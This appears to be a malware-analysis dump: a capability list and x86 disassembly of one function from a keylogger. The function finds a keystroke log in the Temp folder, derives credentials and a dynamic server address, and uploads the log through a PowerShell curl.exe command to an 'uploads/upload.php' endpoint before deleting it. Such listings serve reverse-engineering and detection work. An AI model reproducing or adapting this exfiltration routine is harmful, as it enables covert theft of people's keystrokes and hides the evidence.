Function at 0x401f58
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_boot.txt
lea eax, [ebp - 0x104]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4222c4
lea eax, [ebp - 0x104]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401fbc
mov dword [esp], str.No_keylog_file
call sym._puts
mov eax, 1
jmp 0x402249
mov dword [esp + 4], 0x42248d
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10e], 0x6f6d6962
mov dword [ebp - 0x10a], 0x6c68746e
mov word [ebp - 0x106], 0x79
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10e]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x4224ac
call sym._run_keygen
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._base64_encode
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0
jmp 0x402066
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x115]
mov edx, dword [ebp - 0xc]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 6
jbe 0x40204a
mov byte [ebp - 0x10e], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0
jmp 0x4020a6
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x11c]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 6
jbe 0x40208a
mov byte [ebp - 0x115], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._ping
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4020e9
mov dword [esp], str.Ping_failed__exit
call sym._puts
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._exit
call sym._get_uid
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_s_boot.txt
lea eax, [ebp - 0x1e4]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1e4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x104]
mov dword [esp], eax
call sym._rename
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._free
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x1e4]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x115]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_curl.exe__u__s:_s__F__file_C:_s__https:___s_uploads_upload.php____null
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x40221a
mov dword [esp], str.__Upload_SUCCESS
call sym._puts
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_boot.txt
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x402244
jmp 0x402238
mov dword [esp], str.__Uploaded_FAIL
call sym._puts
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402249
mov dword [esp], str.__Remove_boot.txt_failed
call sym._puts
mov eax, 0
leave
ret